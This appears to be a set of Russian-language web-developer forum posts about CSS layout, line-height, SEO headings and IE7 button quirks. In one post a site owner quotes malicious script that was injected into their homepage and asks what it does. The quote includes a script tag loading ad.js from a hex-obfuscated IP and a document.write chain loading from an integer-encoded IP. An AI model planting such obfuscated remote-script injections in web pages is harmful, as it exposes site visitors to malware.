clavin

Это по низкочастотным запросам может быть такое. Сайтов в интернете очень много и их лучше оптимизировать под seo на этапе вёрстки.

Задался вопросом можно ли быть профессиональным HTML-верстальщиком и профессиональным PHP программистом одновременно? Профессиональный верстальщик, на мой взгляд, должен хорошо верстать, а во-вторых, хорошо разбираться в javascript (уметь написать какой-нибудь код, знать также AJAX) и уметь работать с какой-нибудь одной javascript библиотекой. А PHP программист должен знать какую-нибудь CMS или фреймворк, без них быстро сайт не сделаешь. Есть ли люди, успешно и профессионально работающие (и делающие свою работу качественно) сразу в этих двух областях? Про себя я сказал бы, что есть желание работать многопрофильно и в вёрстке и в PHP, но в последнее время понимаю, что надо выбрать что-то одно.

Это не бред. Сейчас чтобы продвинуть страницу надо внимательно относиться к тегам заголовков на странице. Тег <h1> должен быть один и в нём должны находится ключевые слова (заголовок всей страницы желательно), остальных может быть больше. Иначе такая страница будет не оптимизирована под ключевые слова

Можно сделать таблицами А можно для шапки и футера сделать по два дива, растянуть их по ширине 100%, и им задать фоновые рисунки. То что внутри - отцентрировать по ширине так margin:0 auto;

Может надо убрать пробелы между </li> <li>

alert(document.getElementById('idname').style.width)

Google Chrome ругается на сайт и говорит, что он содержит данные с другого сайта, содержащий вредоносный код. На самом сайте в конце главной страницы обнаружил следующий код: <script src=http://0x4d.0xf2.0x00.0x0c/ad.js></script></script> В шестнадцатеричном виде написан ip-сайта 77.242.0.12. Перейдя по ссылке и открыв файл с js-кодом увидел следующее: <script>document.write('<script src=http:\/\/5602672652\/.../><\/script>');</script> Оставим вопрос о том, что кто-то мог внедриться на сайт и внести в его страницы эту бяку. Интересует, чем этот код вреден и что плохого он может сделать?

удалено

Может свойство scroll надо у фона убрать?

IMHO наглядность отсутствует

Насколько мне известно IE не поддерживает mime-тип файлов вроде application/xml, application/xhtml. Для него применяется один mime-тип text/html, отправляемый сервером браузеру. Может в этом дело.

В общем годятся. Только вот... разве нет кроссбраузерного способа?

<div id="ddd" style="line-height:20px;"> text text text </div> alert(document.getElementById('ddd').style.lineHeight); Если в примере выше убрать стили для id="ddd", то тогда в системном окне будет пустота. Как определить значение line-height у тега, если line-height не задаётся через стили, а наследуется от родителя, например тега body? На jQuery есть функция css('line-height'), которая выводит это значение (в некоторых браузерах даже normal выводит). И ещё тогда вопрос. Как определить реально установленный в браузере line-height для строки, если это свойство имеет значение "normal". Могу ли я получить не "normal", а число в пикселях, пунктах или ещё в чём-то конкретном и измеряемом. Спасибо.

Cам рисунок кнопки должен быть таким, чтобы можно было соответствующую кнопку сделать. Рисунок у кнопки, как видно, фиксированный.

Тему можно было и не открывать. Реализация font-size и line-height достаточно запутана во всех браузерах. Даже Eric Mayer ничего хорошего по этому поводу не написал. Шрифты приходится делать по наитию.

vertical-align: baseline; это ставить надо, чтобы когда в текст вставлялось изображение, было понятно, как оно выровняется относительно базовой линии. Если будет с выравниванием что-то не так, что это значение меняется на другое и смотрится результат. Если исправлений не последовало, то значит дело не в выравнивании, а в другом месте.

По скриншоту видно, что это не опера вовсе а Safari. Тогда надо воспользоваться встроенным инструментом для разработчиков этого браузера. Может что-то там можно бует увидеть неправильное.

Проблема такого плана. Есть строка текста со шрифтами разных размеров. Например так: text <span>qwerty</span> Здесь текст в теге <span> может иметь отличный от остального теста font-size И Line-height. Выравнивание определено как vertical-align:baseline; Вот моя тестовая страница: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="Content-Language" content="ru" /> <meta http-equiv="Content-Style-Type" content="text/css" /> <title></title> <meta name="description" content="" /> <meta name="keywords" content="" /> <meta name="robots" content="index,follow" /> <link rel="icon" href="/favicon.ico" type="image/x-icon" /> <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" /> <link rel="stylesheet" media="all" type="text/css" href="" /> <style type="text/css" media="all">/*<![CDATA[*/ * { padding:0; margin:0; } html, body, div, span, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, cite, code, em, strong, img, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { border: 0; vertical-align: baseline; background: transparent; } a { cursor:pointer; } body { color:#000000; font-family:Arial, Helvetica, Verdana, sans-serif; font-variant:normal; font-weight:normal; font-size:16px; line-height:16px; background:#ffffff; } p { background:red; } p span { background:yellow; font-size:16px; line-height:16px; } p b { background:green; font-size:16px; line-height:16px; } /*]]>*/</style> </head> <body> <p>some text <span>ABCypq</span> <b>bold</b><br/> some text <span>ABCypq</span> <b>bold</b><br/> some text <span>ABCypq</span> <b>bold</b><br/> some text <span>ABCypq</span> <b>bold</b><br/> some text <span>ABCypq</span> <b>bold</b><br/></p> </body> </html> Высота красной области во всех браузерах равна 80px (line-height*5=80px, т.к. line-height=16px). В IE8 правда высота этой области равна 83 px почему-то. Мне не понятно, почему если уменьшить размер шрифта внутри span (например поставить font-size:10px), то высота красной области увеличивается, как будто я увеличиваю line-height у всей строки? p span { background:yellow; font-size:10px; line-height:16px; } Обратите внимание, что для текста задано vertical-align:baseline. Если задать, например, vertical-align:top, то высота красной области останется неизменной, но сам текст при этом будет прыгать над строкой и выглядеть не выровненным.

Всё понятно. В ie7 при нажатии на кнопку посылается не значение внутри элемента "value", а то что расположено внутри тегов <button></button>

Я протестировал IE7 так: <form method="get" action="2.html"> <button type="submit" name="but" value="123">кнопка</button> </form> Нажимаю на кнопку и происходит переход на нужную страницу, но без значения but=123. Javascript для такой простейшей задачи употреблять как-то не хочется.

Таблицами такое делается. В центральную фиксированную ячейку загоняется весь контент, а в боковые вставляется картинка.

Я что-то не понял... Если ie6, ie7 не поддерживают свойство "value" для тега <button>, то как вообще эти button можно применять? На сервер обычно в свойстве value вся информация посылается, а тут оказывается, что может и не послаться

Great Rash, спасибо! Со списками запутался. Свойство list-style является наследуемым, поэтому задав его для ul, можно быть уверенным, что оно автоматически распространится и на li. С фоном это не так. Ещё раз спасибо, всё на свои места встало.

Столкнулся с непонятным поведением списков <ul>, вложенных в другие списки. Вот тестируемый код: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="ru" lang="ru"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <meta http-equiv="Content-Language" content="ru" /> <meta http-equiv="Content-Style-Type" content="text/css" /> <title></title> <meta name="description" content="" /> <meta name="keywords" content="" /> <meta name="robots" content="index,follow" /> <link rel="icon" href="/favicon.ico" type="image/x-icon" /> <link rel="shortcut icon" href="/favicon.ico" type="image/x-icon" /> <link rel="stylesheet" media="all" type="text/css" href="" /> <style type="text/css" media="all">/*<![CDATA[*/ * { padding:0; margin:0; } html, body, div, span, object, iframe, h1, h2, h3, h4, h5, h6, p, blockquote, pre, a, abbr, acronym, address, cite, code, em, strong, img, sub, sup, tt, var, dl, dt, dd, ol, ul, li, fieldset, form, label, legend, table, caption, tbody, tfoot, thead, tr, th, td { border: 0; vertical-align: baseline; background: transparent; } a { cursor:pointer; } body { color:#000000; font-family:Arial, Helvetica, Verdana, sans-serif; font-variant:normal; font-weight:normal; font-size:100%; background:#ffffff; } #mydiv {background:red; padding:30px;} #mydiv div {background:yellow; padding:30px; color:#fff;} #mydiv ul.spy { width:400px; background:maroon; color:red;} #mydiv ul.spy li {width:200px; background:lime;} #mydiv ul.spy li ul.spy2 {width:100px; background:blue;} /*]]>*/</style> </head> <body> <div id="mydiv"> <p>text</p> <div> <ul class="spy"> <li>item 1</li> <li>item 2 <ul class="spy2"> <li>item 3</li> <li>item 4</li> </ul> </li> </ul> </div> </div> </body> </html> как задавать свойства для вложенных в li других списков ul? Браузеры показывают (можно увидеть, например, firebug'ом), что стили для вложенного ul установлены, но на экране они не отображаются. В то же время, если задать стили так (добавить в конец li) #mydiv ul.spy li ul.spy2 li {width:100px; background:blue;} то на экране появляется синий фон.

Автору топика следует уточнить, что за макет - фиксированный или резиновый. Если фиксированный, то там всё просто делается с помощью float.